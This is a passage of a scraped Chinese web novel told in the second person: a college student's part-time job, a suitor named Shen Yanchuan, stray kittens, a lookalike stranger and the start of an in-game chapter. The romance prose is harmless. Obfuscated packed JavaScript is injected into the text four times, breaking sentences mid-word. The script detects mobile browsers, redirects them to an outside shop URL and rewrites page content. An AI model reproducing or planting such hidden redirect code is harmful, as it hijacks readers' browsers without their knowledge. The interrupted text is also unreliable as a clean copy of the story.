接下来的几天里,你都有过去炸鸡店兼职。 一天下午,沈砚川来到了店里。 你那会儿正忙着打包外卖呢,忽听前台一个人说:“你好,我要点单。” 你忙得头都没时间抬,“好的好的,你要吃什么?” 来人难忍笑意,“我还不知道吃什么,小姐姐,请问你有推荐吗?” 你一听,顿时感觉这声音有点耳熟。一抬头,就看见了笑得满面春风的沈砚川。 你先是惊讶,随后就脱口而出,“你不是说不会到这边来看我打工吗?” “冤枉啊,我真不是特地到这边来看你打工的。”沈砚川指了指身边的人,“这是我舍友。我们刚下课,他说他有个快递在这边,刚好又想吃这边饭堂的老鸭血粉丝汤了,就说拿个快递顺路过来吃饭。我心想着刚好你工作的地方也在这儿,就顺路过来瞄一眼,没想到这么巧就碰见了你。” 你把目光转到他舍友身上。 他舍友举手发誓,“他说的是真的。” 你这才信了。 打完招呼后,沈砚川也没走,他推了推他舍友,说:“你去吃鸭血粉丝吧,我在这儿吃好了。” 他舍友十分识趣,比了个ok,立马跑出了炸鸡店。 然后沈砚川还真就在点起了单,他还是堂食的。 先前他说不是特地过来看你打工的,那现在他就是特地在这儿看你打工了。 你是在店里兼职的,也不可能赶客人走,就任由沈砚川去了。 只是在工作的时候,你明显变得不自然起来。 拜托!任谁知道有个人一直盯着自己看,都会不自然的好吧!更别说沈砚川还是那种明目张胆的盯着你看。 陈姐也注意到了沈砚川,她一把将你拉进后厨,很是八卦的问:“小春妹妹,外头那个帅哥是你认识的人?” 你无奈的点点头。 陈姐这下更八卦了,“你上回不是跟我说你没男朋友吗?” 你解释,“他不是我男朋友,我们就是普通朋友。” “你觉得你们是普通朋友而已,我看他看你的眼神可一点儿都不普通。”陈姐一副过来人的样子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127402|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 你没招儿了,“陈姐,我不跟你说了,还有好多单要打包呢。” “害羞了?”陈姐打趣你,“害羞我就不说了。呐,你那位帅哥朋友的餐已经做好了,你给他送过去吧。” “……噢。” 沈砚川点了个单人套餐,你把东西都捡齐后,就给他送了过去。 “在这上班累吗?”沈砚川问。 你把东西放下,瞪了他一眼,“不累。你吃完赶紧走吧,别老盯着我看了。” 沈砚川笑嘻嘻说:“你是不是偷偷看我了?” “谁偷偷看你了。”他怎么这么自恋。 “你不偷偷看我的话,怎么知道我在盯着你看。” 你:“……” 你气结,“你就当我背后长眼睛好了。” 今天店里的生意比以往还要火爆,不仅外卖订单多,堂食的也多。店里只有你和陈姐两个人,根本忙都忙不赢。陈姐本来有个弟弟在店里帮忙的,最近他回老家去忙事情了。 现在陈姐就负责后厨,你在前台不仅要下单、上菜、打包,还要忙着处理客户的投诉电话。 有些客人等得久了,电话一个接一个的打过来,有时这个电话没打完,另一个又打过来了。 “我两点钟就下了预定单,怎么现在都还没给我送过来?” “老板,我的餐好了没有啊,我等到花儿都谢了。” “我的餐做好没?再没好的话我就不要了。” 你忙得像个陀螺一样,连喘气儿的时间都没有。 这时候,沈砚川来了。 他钻进前台里,冲你笑着说:“我来帮你吧。” 你惊讶,“你帮我?” 沈砚川越过你,对后厨的陈姐说:“老板娘,再多收我一个临时工吧,我不要钱。” 就这样,沈砚川还真的留下来帮你做兼职了。 沈砚川没做别的什么,就负责帮你下单,和给堂食的客人上菜。 他上手很快,手脚也麻利,有他给你帮忙,你轻松了不少。 这一天,你们一直忙到了晚上八点半才停下来。 陈姐擦了一把汗,说:“辛苦你们俩了,今天幸好有你们在,不然我真忙不过来。” 看了眼时间,陈姐又说:“你们坐着休息会儿吧,我去厨房给你们弄点吃的。” 沈砚川说:“不用了老板娘,我和小春出去吃就好。” 你诧异的看向沈砚川,沈砚川却朝你笑笑,说:“就当做今晚我留下来给你帮忙的奖励,让我请你吃顿宵夜,好吗?” 请人吃饭也算是一种奖励吗? 陈姐冲你露出一个微妙且暧昧的笑容,连忙说:“那你们赶紧去吧,现在都八点半了,再晚就不好了。” 这个情况,你连说不的机会都没有。 你只好同意了跟沈砚川出去吃宵夜。 沈砚川带你去吃的是砂锅粥,说起来,你累了一天了,再吃陈姐的炸鸡汉堡也确实吃不下,到外面来喝点儿口味清淡的粥刚刚好。 这砂锅粥是猛火快烧的生滚粥,粥底熬得软烂稠厚,里头卧着螃蟹、虾米、螺肉,表面撒一把细碎葱花,再添一小勺鲜爽开胃的雪菜,还没吃呢,视觉上就先得到了极大的满足。 31. 顺其自然 除了砂锅粥外,沈砚川还令点了糖水和盐焗蛋。 你很感激他今晚主动留下来帮你忙,便说:“这顿饭让我请你吧。” “不是说好了我请你么。” 你说:“你今晚帮了我这么多忙,应该我请你才对。” “我帮忙是我自愿的,你不要放心上。” 怎么可能不放心上啊。 沈砚川见你还想说什么,便说:“你要实在想请我,那就留到下次再请吧。总之,我记着你还欠我一顿饭,咱们有来有往,不急一时。” “不行……” “好啦,先不说这个了。你赶紧试试这个粥,这粥要趁热才好吃,凉了就没那味道了。” 到嘴边的话被他堵了回去,你没办法,只好先试着吃了一口粥。 这锅粥虽然加了很多海鲜,却一点腥味儿都没有,吃起来满口鲜甜,回味无穷。 “怎么样,好吃吗?”沈砚川问。 “嗯。”你点头,“好吃。” 沈砚川又剥了个盐焗蛋给你,“再试试这个。这鸡蛋单吃的话一般,得配着粥一起才好吃。” “这个你吃吧,我自己再剥一个。” “没事,你吃这个。我待会儿再吃。” 沈砚川把鸡蛋送到你面前,你没办法,只好接过。 你咬一小口鸡蛋,又喝一小口粥。 沈砚川就这么看着你一小口一小口的吃东西,他看得很专注,眉眼带笑的,仿佛看你吃东西是件很有意思的事情。 你被他看得很不好意思,东西越吃越慢,越吃越矜持。 “你看我干嘛。”你实在忍不住了,问他。 在店里的时候,他也是这样盯着看你工作的。 “没干嘛。” “不是说凉了就不好吃了吗,你也赶紧吃吧。” “好。” 沈砚川眼里满是笑意,那笑如同琥珀色的蜜糖,让他整个人都洋溢着甜腻的气息。 喝完粥后,沈砚川又将一碗芋圆芋泥西米椰奶推到你面前,“再试试这个,这家的糖水甜而不腻,很好吃的。” 你吃了一口,凉丝丝的,芋泥绵密,芋圆西米很有嚼头。最为出彩的是这碗占据了半壁江山的椰奶,一般的糖水铺的椰奶惯常用椰粉冲泡,喝着不仅有种涩感,味道还很寡淡。这家的椰奶椰香浓郁奶香醇厚,一口下去,香醇的味道在舌尖层层漾开,久久不散。 沈砚川在吃的方面确实造诣颇深,他找的地方味道都很好。 你正吃着呢,沈砚川忽然起身,你以为他是去拿什么东西,没想到他竟直接到柜台把账结了,回来的时候,又另外打包了几份糖水。 你把嘴一擦,问:“这顿饭多少钱?我转给你。” 沈砚川重新坐下,满不在意的说:“不是说好了这次我请,下次你再请回我么。” “那怎么行。”你摇头,“本来你今晚就帮了我这么多,没理由再让你请我吃饭的。” “今天这份砂锅粥和糖水好吃吧?”沈砚川话锋一转,忽然问。 你有点摸不着头脑,但还是回答说:“好吃。” “我还有更好吃的地方没带你去,下次去的话就让你请好了。至于这次,就不要再纠结了。”沈砚川说得又轻又快,“这几份糖水给你带回去。” “给我?这不是给你舍友带的吗?” “我干嘛给他们带。” 你更弄不明白了,“那你为什么给我带?” 沈砚川神色自如,说:“刚刚张汶发信息来问我关于比赛的事情,我和他说我在外面跟你吃饭,暂时没空,让他等我回去了再慢慢聊。他知道之后,就让我顺便打包几份,让你带回去给陈念禾跟其他两个舍友。” 他骗人。 刚刚吃饭的时候,他根本没看过手机。他光顾着看你了。 你毫不留情的戳穿他,“我不信。我要发信息问问念禾。” 沈砚川有些急了,“难道我会拿这种事骗你么?” 你不说话,直接掏出手机,用行动表达你的决心。 沈砚川秒败,“好吧,其实是我买的。” 你瞪大眼睛,“为什么啊?” 沈砚川迟疑了好一会儿,才小声说:“因为我想给你舍友留个好印象。” “那也用不着这样啊。” “你……你就当这是我的一点小心机好了。” 你语噎。 沈砚川飞快的看了你一眼,“男生去女生家里见父母,不也都会买很多礼物么。” 这都哪儿跟哪儿啊! 你一时真有些无语了,不,是不知道该说什么好了。 “我和你……又不是男女朋友。”况且到了见父母这一步,那都是要谈婚论嫁了吧? “我正在努力中。” 沈砚川一记直球,打得你措不及防。 “不说这个了!”你强硬的转移话题,“今晚的饭就你先请了,下次我再请回你。但是,这糖水的钱我是一定要给的。” 沈砚川发动沉默技能。 你无视并继续说:“你不说的话,我就直接去问老板了。” 沈砚川无力招架,节节败退,“其实也没多少。” “没多少那到底是多少?”你乘胜追击。 “就三十,糖水十块钱一份。” “行。”你伸出手,“把你手机给我。” “怎么?”沈砚川瞪圆眼睛,看上去竟有些傻气。 “给你转钱呐。快点。”你催促他。 沈砚川磨磨蹭蹭的拿出手机,却始终不肯给你。 怎么会有人收钱都收得这么不情不愿啊。 你直接把沈砚川手机抢过来,他手机是苹果,也不用指纹,直接扫脸就好。 打开他手机后,你微信扫码给他把账转了过去。发红包的话你怕他不收。 平时这么花三十块钱,你可能会犹豫很久,但这次你给得非常爽快。爽快到那仿佛都不是钱,只是一串冰冷的没有意义的数字。 完成一切,你才重新扬起笑容。 可你是笑了,沈砚川却是闷闷不乐。 见状,你拿手到他面前晃了晃,“怎么了?” “没什么。”沈砚川拧头。 “真没什么。” “我让你不开心了?” “没有。”沈砚川立马说。 “那你怎么了?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127403|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你好像……在抗拒我对你好。” “我哪儿有。” “我请你吃饭,你不要。我请你舍友喝糖水,你也不要。”沈砚川委屈巴巴的控诉着。 你愣住了。 沈砚川低头,“我做这些,只是想更靠近你一些。可是,你却拒绝了我的靠近。” “我没有拒绝……我很感激你今晚帮我的忙,也很谢谢你带我出来吃宵夜,我也知道你这么做是因为……喜欢我。可是,我暂时还没有办法回应你的喜欢。” 沈砚川对你好你是知道的,可他一次次对你的好,又让你心有不安。 他喜欢你,他是抱着追你的心态来跟你做朋友的。这是沈砚川上次告诉过你的话。 因为喜欢你,所以愿意无偿兼职,愿意带你到外面吃饭,愿意请你舍友喝糖水。 可你现在却并没有回应他的这份喜欢。 如果说没确定喜不喜欢他之前,就不应该接受他太多的好。 你是这么认为的。 “我是不是让你感到有压力了?”沈砚川明白了你的意思,可他却变得更不安了。 喜欢一个人就是这样的吗? 喜欢,会把一个人从平常的生活中拉出来,让他开始变得患得患失,想靠近一些,担心会给对方带来压力。可如果保持距离,自己又无法压抑情绪。 那究竟是要近一些,还是要远一些呢。 虽然没有明说,但此刻你却能了解沈砚川的心情。 同样的,即使你没有把话说完,他也明白你的顾虑所在。 你轻声说:“可能这也是我的问题。没有缘由的接受别人太多的好意,会让我觉得欠了别人的人情,如果我没办法回报这份人情,又继续接受别人的好的话,就像滚雪球一样,越滚越大,我就会开始焦虑。” “沈砚川,我一直是个没什么主见,很随波逐流的一个人。我时常觉得自己的生活过得很懵懂,我甚至想过,如果吃烧烤的那个晚上,你再跟我说一下,让我做你的女朋友,说不定我会同意。” 沈砚川有些讶异。 你抿唇道:“可现在我不这么想了,我会认真去对待你的。直到有一天,或许你还喜欢我,或许我真正被你吸引。那时候,我们会顺其自然的走到一起。” 沉默半晌,沈砚川方道:“我等着那一天。” 你们相视一笑。 把话都说开了,再看彼此,好像感觉也开始变得不一样了。 “你真的不打包一点回去给你舍友?” “不。他们一个个的都已经够膘肥体壮了,再吃下去,还没到年就得先杀年猪了。” “你说你舍友是猪啊。” “我没说,是你说的。”沈砚川倒打一耙。 你无语,“你刚刚明明就是这个意思。” “我没有,你别冤枉我。” 这晚之后,你又到炸鸡店帮了三天忙,陈姐的弟弟便回来了。 陈姐有了她弟弟帮忙之后,店里也暂时不需要你过去了,你的兼职生涯由此暂时告别一段落。 沈砚川那天在店里帮忙,虽然他说了不要钱,但陈姐还是把他的工资一块儿结给了你。 32. 逗猫猫 陈姐在微信里跟你说,你是个很热心勤快的姑娘,这这几天你帮了她很多忙,就算后面暂时不需要你过去兼职了,但如果你想来她店里吃汉堡的话,她仍旧以员工价给你打五折。 除应有的工资以外,你还额外得到了他人的肯定,你由衷的感到开心。 陈姐还多问了一句,“那天那个小帅哥真的不是你男朋友吗?” 你:“……” 你汗颜,“真不是。” 陈姐发来一个龇牙笑脸,“那他是在追你咯?” 你汗颜汗颜,“我们是朋友。” “路漫漫其修远兮呀!”陈姐感慨,“对了,情侣打三折噢!” 你无力招架,赶紧结束了话题。 那天沈砚川来店里帮了两个半小时,正常来说工资是三十七块五,但陈姐直接给他算了三小时的工钱,也就是四十块钱。 你把这四十块钱转给了沈砚川,刚转过去,你还没来得及打完这是那天你来店里帮忙,陈姐给你结的工资这段话,沈砚川就先给你发来了一个问号。 他回复的速度好快。 你把话打完,发过去给了他。 沈砚川噢了一声,知道这是陈姐的心意,就也没问什么,把钱收下了。 沈砚川说:“这还是我第一次收到工资呢。” 你现在跟他聊天已经很自然了,“你寒暑假的时候没有出去做过兼职吗?” “没有。我放假都是待在家里,如果有朋友约的话,就出去玩一玩。” 你感叹,“真好。” 沈砚川又问你,“你放假都会出去做兼职吗?” “如果有工作的话就会去,不过现在都很少有兼职了,人家一般都想要做长期的。” “找不到的话就在家休息嘛,有时候也不要太逼着自己了。趁现在有时间,还是要多体会体会学生时代的悠闲的,等以后毕业,想不上班都不行了。” “噗,也是。” “要不要出来喝奶茶?”沈砚川突然提议。 你:“?” “我原本是想,这是我的第一份工资,在这人生这么有意义的时刻,我想用这份工资请你喝奶茶。但想到你可能不会接受我请你,所以我就问你要不要出来喝奶茶了。” 沈砚川噼里啪啦发来一大段话,还不等你回复,又迅速的补充一句,“其实我就是想找个理由跟你见面。” 你看着手机上的聊天内容,极为缓慢的眨了一下眼,说:“好。我们在学校喝还是去步行街?” 沈砚川万分欣喜你居然会答应他,怕你会反悔似的,立马说道:“就在学校吧!我们这边饭堂的二楼有一家港式奶茶店,还挺好喝的。” “那你等我一下,我现在过去。” 女生宿舍距离男生宿舍还是有点远的,走过去的话太费时间了,你打算坐个校园车过去。 “我来接你吧,我有车。” “你有车?” “是啊。”沈砚川说:“我容易赖床,老是迟到,就特地买了辆小电驴去上课的。你等我几分钟,我开车过来很快的。” 你噢了一声。 你想着沈砚川从男生宿舍开电驴过来,怎么说也得个七八分钟,你就在宿舍待了五分钟左右才慢慢坐电梯下去,没想到的是,你刚走出宿舍大楼,正想拿出手机跟沈砚川说你在楼下等他,就看见他在不远处朝你挥手打招呼了。 你快步走过去,诧异道:“你怎么来得这么快?” “我怕你等我嘛。” “这有什么的,我就在宿舍楼下等而已。”你失笑,“你是不是开得很快?” “没有。这种小电驴就算把油门扭尽了也快不到哪里去的,你就当我是闪电侠好了。” 沈砚川拍了拍后座,“你坐吧。” “好。” 沈砚川开车确实不快,也有可能是为了照顾你,他没有开得很快。 一路上的人和风景如画般闪过。 这种小电驴的座位刚好能容纳两个人,因此你坐在后头的时候,肢体难免会跟沈砚川产生一些接触。 你把目光从路边的风景转到前面开车的人身上,仅是一眼,就看见了沈砚川细碎的发丝下红透了的耳根。 他……害羞了。 你忽然很想看看沈砚川现在的脸是什么样子的,但小电驴没有后视镜,他又正开着车,你没办法强制掰过他的脸。 沈砚川今天穿了件宽松的上衣,迎面吹来的风鼓动着衣服,勾勒出一节劲瘦的腰线。这样近的距离能让你清楚闻到来自男生的,一股淡淡的皂角清香。 你忽然有点遗憾不能看到他此刻的表情。 你是不是……变得有些坏心眼了? 沈砚川说的那家店,与其说是奶茶店,倒不如说是一家微型港式茶餐厅。这里除奶茶外,还提供有菠萝油、西多士、猪扒包、咖喱鱼蛋这些经典港式小食。 你点了一杯丝袜奶茶和一份菠萝油。沈砚川跟你点的一样。 你们没有堂食,而是选择到饭堂对面的人工湖边走边吃。 人工湖湖面波光粼粼,岸边种了一排黄花风铃木。这种树的花期在二三月份,盛开时满树明黄,鲜亮明媚,很是惹人眼球。 沈砚川停住,想起了什么似的,“不知道那几只猫还在不在。” “这儿还有猫?” “是啊,我之前在那边看到的,”沈砚川手指前方,“还是几只小奶猫呢。要不我们去看看吧。” 你本来就很喜欢猫,对奶猫更是没有抵抗力,你的兴致一下被提了起来,迫不及待的说:“好!” 沈砚川带你往前走了数十米,在一堆茂密的草丛前停下脚步,他说他之前就是在这儿看到那几只猫的,可此刻草丛前空空荡荡,连只猫影都看不到。 沈砚川蹲下来,学猫喵喵叫,试图用这种方法把猫吸引出来。 你蹲到他旁边,说:“我之前在网上刷到过,说只要放一段小奶猫的叫声,百分之九十九的猫都会被吸引过来。要不我们也试试吧?” “对噢!这类视频我以前也刷到过,怎么我刚刚就没想到。” “可能是我比较聪明吧。”你打趣道。 “对,你最聪明。”沈砚川十分捧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127404|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的场。 “好啦,少拍马屁,快拿手机出来试试看吧。” “遵命!” 说起来,这方法你也就在视频里看到过,并没有真正付诸过实验。你觉得网络上的内容大多以娱乐性质为主,因此你对这个方法并不抱有太大希望。 尤其是看到沈砚川一个音频都放完了,草丛前还是不见猫影后,你对此就更不抱希望了。 “应该是这个视频里的猫叫得不好,我再换个试试。”沈砚川倒比你乐观些,一个音频不行,他就换下一个。 等到第二个音频播放到第二遍的时候,寂静的草丛终于传出来一点声响。 沙。 沙沙。 沈砚川面露兴奋,拧头用唇语无声的对你说:“有了!” 你的心情也被勾得隐隐激动起来,屏气凝神的盯着那一方草丛看。 起初,是一只雪白的爪子探出来。 其后,便是毛茸茸的小脑袋。 这是只套了四只白袜子的小橘猫。 橘猫生性谨慎,虽然被音频里的叫声吸引出来,却没有贸然上前,而是用一双黄澄澄的眼睛打量着你们。 它率先出来后,没一会儿,草丛里又先后钻出了三只小猫,它们都是橘猫,个头看着相差无几,唯一的区别就是橘色斑纹覆盖的多少。 沈砚川逗狗一样对着四只小橘猫嘬嘬嘬,想把猫引到面前来,结果根本没猫理他。 你用胳膊肘捅了一捅沈砚川,“哪儿有对猫嘬的,你得叫咪咪。” “那你试试。” 试试就逝世。 不管是嘬嘬还是咪咪,小橘猫一视同仁,哪个都不理。 一计不成,另生一计。 你撕下一块面包,企图以食诱之。 结果,小橘猫还是视若无睹! 接连败北的你感到无比受挫。 “没事,慢慢来。”沈砚川安慰你,“田园猫的性格都是比较谨慎的。” 你闷闷的噢了一声。 沈砚川从旁边捡来一根带叶子的树枝,像挥舞逗猫棒似的左右晃动,小猫天性好奇,一下就被树枝吸引住了目光,开始还是试探性的往前挪两步,跟着便大起胆子来到了你们面前,半支起身,小爪子一伸一伸的想要去勾那树枝。 你看沈砚川这招有效,便也学他的方法捡另一根树枝逗猫。 猫虽然有在跟你们互动了,但警惕心却还没放下,你逗了一会儿之后,想伸手去碰碰它的小脑袋,结果手都还没伸出去呢,猫就先一步察觉到了你的意图,往后跑了几步。 你见状,只好放弃了摸猫的想法。 你撕下几块面包碎放到地上,小猫玩够了,便低头小口小口的吃起来。 “它们的妈妈呢?”你轻声问。这几只小猫的月份都还不大,这时候猫妈妈应该会寸步不离的跟着才对。 “不知道,上次我来的时候,就没见到它妈妈。你很喜欢猫吗?” “喜欢。我喜欢猫,也喜欢狗。以前小时候家里养过一只狗,可惜后面被送人了。从那以后,我家就没养过宠物了。” 33. 新人物出现 “为什么送人了?” 说起这段陈年旧事,你就心有郁结,“那年,我叔来我家住了几天,看到我家养狗之后,就跟我妈说狗不干净,有细菌容易惹小孩生病。然后我叔一走,我妈就把狗给送人了。” “那你岂不是很伤心?” “是啊。我妈是趁我上学的时候把狗送走的,我回来看到狗不在,大哭大闹了一场,但还是没用。” 沈砚川拍拍你肩膀,“没事,以后有机会还可以再养一只。” “再养一只,也不会是我养的第一只小狗了,不是么?”你笑了笑,其实现在你也没有很介怀你妈把狗送人的事情了,“可能是我和它的缘分就这么浅吧。往好处想,万一我妈给它找了户有钱人家呢?它到那儿去成天吃香的喝辣的,说不定没两天就乐不思蜀,把我忘了。” “你没听过么,‘苟’富贵,勿相忘。我相信你的狗是一只有良心的狗,就算它真的被送养到了一户有钱人家里,每天都活着吃香喝辣的生活,它的心里也永远都不会忘记你这第一任主人的。” “此‘苟’非彼‘狗’,再说你又没见过我的狗,怎么就知道它有良心呢。” 天,不敢相信你们居然在聊一只狗有没有良心。 你们的对话真是越来越神奇了。 “宠如其人嘛。你这个做主人的都这么好,那你的狗当然也不会坏到哪里去。” “好啦,不跟你扯这个了。”你怕再说下去,他能说出更多歪理来,“你呢,你有没有养过宠物?” 沈砚川摇头,颇为遗憾的说:“没有。我倒是一直很想养一只宠物,但我妈不让。她想法跟你叔一样,觉得那些猫猫狗狗什么的脏、有细菌。” 你忿忿不平,“小猫小狗到底哪里脏了啊。” 沈砚川耸耸肩,“可能是人和人的观念不一样吧。我还记得我初中的时候,放学路上捡了一只猫回家,为了不让我妈发现,我就把它藏在了我房间里。” “然后呢?” “然后啊,然后我妈是没发现我偷偷摸摸带了一只猫回来,但我第二天还得去上学。那只小猫还没断奶,又刚到陌生的环境里,我在的时候还好,我一走它就叫个不停。” 后面的结局可想而知了。 “跟你一样,我也是放学之后发现猫被我妈丢了出去,我哭着要去把猫找回来,我妈就骂我,说我要是赶跑出去找那只猫,就连我也一起不要了。” “没想到在这件事上,咱俩还算同病相怜。”你感叹。 沈砚川咧嘴笑道:“那要不然怎么说咱俩有缘分呢。” 你不跟他贫这个,“我想我以后上班了,出去住了,就自己养一只狗,再养一只猫。” “猫跟狗一个窝,你就不怕它们打架呀?” “我养小猫小狗,让它们从小一块儿长大,它们熟悉彼此的气味,就不会打架了。”你想得很是周全。 “诶……”沈砚川想了想,问:“那你准备养公的还是母的?” 你疑惑,“我养公的母的都可以啊,这又没什么所谓。”难道养个宠物还搞重男轻女那一套啊? “当然有所谓了。如果你养公的,我就养母的。你养母的,我就养公的。这样咱们就能结成亲家了。”沈砚川说得一脸认真。 你真想打开他脑袋看看他一天到晚都在想什么。 不过,在脑洞大开这方面,你也不遑多让就是了。 你摆出一副冷酷无情的表情,“那很可惜了,我跟你结不成亲家。” 沈砚川西子捧心,“为什么?宁拆十座庙,不毁一桩婚,难道你要做那棒打鸳鸯的狠心人?” “不。我要在它们成年以前带它们去做绝育。” 沈砚川被你逗得哈哈大笑。 小猫被沈砚川夸张的笑声吓了一跳,抖了抖耳朵,往旁跑去。 “别笑了,你把猫吓跑了都!” 你使劲儿拍了拍沈砚川,目光追随着小猫跑走的方向,“咪咪,别走!” 你也是脑瓜子卡壳了,居然想这样把猫叫回来。 小橘猫头也不回的往前跑,刚好前边儿有个人走过来,橘猫没刹住爪子,一头撞上了那人的裤脚。 “诶,这儿居然有猫。” 那人声线平缓,尾音里藏着几分诧异。 下一秒,你便看见了一双白皙清透,骨节分明的手。 是那个人弯腰将小猫抱起了。 你的视线随着他的动作上移,这一幕仿佛刻意放慢的镜头。仰视的角度里,蓝天白云作为背景,一张清隽温润的脸撞入眼帘。 “……洛霖?” 这个男生,长得好像你在游戏里攻略的人物。 “洛霖?”沈砚川看看那个人,又看看你,“你们认识?” 那人抱着小猫,表情有些疑惑,“我不叫洛霖,同学你认错人了吧?” 你这才后知后觉的反应过来。 你怎么会把现实里的人和游戏里的攻略对象搞混了,还鬼使神差地把名字给叫了出来。 你赶忙道歉,“你……你长得很像我认识的一个朋友,我刚刚看走眼了,以为你是他。” 他弯了弯唇角,笑意清浅,“没事。能跟你朋友长得像,或许也是我们之间的一点缘分。我叫舒景云。” 洛霖。 舒景云。 不仅人长得像,连名字风格也像,都带着点疏朗雅致的韵味。 “林小春。”你指了指身旁的人,“他叫沈砚川。” 你一边说着,一边又忍不住悄悄打量舒景云。 这下再仔细一看,你发现,舒景云和洛霖还是有些区别的。 舒景云这人的周身气质跟洛霖很像,五官长得也有几分相似,但或许洛霖是游戏人物的原因,他的五官被捏造得很精致,精致到你看到他第一眼的时候,会发出此男只应天上有的惊叹。 而舒景云不同,他比洛霖多了几分人间烟火的气息,他的眉眼如画,却不是那种过分的精致,他更像现实生活中的人。 “这只猫是你们在喂养吗?”舒景云挠了挠小橘猫的下巴。 不知怎的,这猫一到舒景云手里就没了方才面对你们时的警惕性,面对舒景云的抚摸,它更是发出一串绵长的呼噜声,乖顺得仿佛家养的猫咪。 难道这人就是传说中的行走的猫薄荷?你暗暗感慨。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127405|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不是。这些猫是学校的流浪猫生的,我们到这边散步的时候碰巧撞见的。”沈砚川回答说。他在说到“我们”这两个字的时候,语气有微微加重。 “噢。”舒景云应了一声。他本来就是从这边路过的,跟你们的这次碰面完全是巧合,随意聊了几句后,话便到了头。他把小猫放下,说要走先了。 你礼貌的道了句再见。 舒景云也笑着回应,“再见。” 舒景云走后,隔了好一会儿,沈砚川才闷闷的说:“他长得真的很像你那个朋友?” “嗯……确实挺像的。”你说。 “真的吗?”沈砚川追问:“他真的只是跟你朋友长得像?” 而不是因为别的吗。 后面的话,沈砚川只在心里默念。 沈砚川看得很清楚,你在见到舒景云的那一刻,眼底飞快地掠过了一丝很明显的惊艳。 他……有点吃醋了。 你歪了歪头,信号接受得有些迟钝,“真的啊。” 不过,要真说起来的话,洛霖一三次元人物,跟你也算不上是什么朋友。 “好吧。”沈砚川勉强相信了你的话,没再接着往下问了。 离开人工湖之后,你们又到别的地方走了走,这走走停停,很快又到了饭点。走一下午你也挺累的了,便索性连晚饭也在男生宿舍这边的饭堂一起解决了。 回去的时候,当然也是沈砚川送你的。 只不过等你到宿舍,时间已经来到了晚上七点。 你平时没课一般都是待在宿舍的,而今天你却破天荒的消失了一下午。 你的兼职也没在做了,你去哪儿能去一下午? 刚回来,你便被舍友围住盘问。 你老老实实的从头交代。 自上次你给舍友带回糖水之后,她们便越发觉得你跟沈砚川的关系更亲近了,今天你又是跟他出去喝奶茶遛弯儿逗猫,这妥妥的就是好事将近的节奏啊! “铁树终于也开花了啊!”许曼婷流下夸张的宽条眼泪,一副吾家有女初长成的感叹模样。 你笑着跟舍友嬉闹了几句,等她们八卦够了,各自回到位置之后,你也坐下来慢慢的回想着今天发生的事。 ……其实你是在想舒景云。 虽说看清了舒景云和洛霖间的差别,但只要你一想到舒景云那张脸,就还是会不由自主的想到洛霖。 这个游戏在做人物建模的时候,是不是也有拿现实中的人做参考? 还是说,美丽的人总是有相似之处? 你搞不清楚,这也没什么好搞清楚的,只是一次巧合相遇罢了。 不过,这次的巧合相遇,倒将你因兼职而停了一段时间的游戏瘾又勾了起来。 不如来玩一把游戏吧! 刚好你上次等级过了Lv.15,刷新了个新地图。 你那会儿在多个选择中选了志怪,也不知道这个背景会有什么新内容。 关于志怪,你唯一联想到的就是聊斋。 而聊斋说的最多是什么呢? 花妖狐魅? 鬼怪精灵? 还是…… 34. 志怪篇之双全法和情人泪 …… …… “欢迎玩家来到新地图之志怪篇。您在本轮游戏中有两项任务:其一,双全法;其二,情人泪。此局游戏机会仅有一次,时间不限,失败无法读档重置。” 昆仑山,乾坤洞。 鹤童垂头丧气道:“天上一日,地下十年。人间眨眼过去了五百年,天上也过去了五十日,那件事,还不知能瞒多久。” 鹿童面若死灰,“还能瞒多久我不知道,我只知道,如果被仙翁知道了这事,必定会拔你的毛抽我的骨……说不定,他老人家还会将我俩打入下界,永世为禽,再不能修仙。” 你本轮的身份,是鹤童鹿童自山下捡回来的便宜徒弟,受他俩传授功法,习得些微仙术。 他俩虽认你做徒,以师父身份自居,外形还是稚气未脱的孩童模样。他们这样子,与其说是你师父,倒不如说是弟弟更合适。 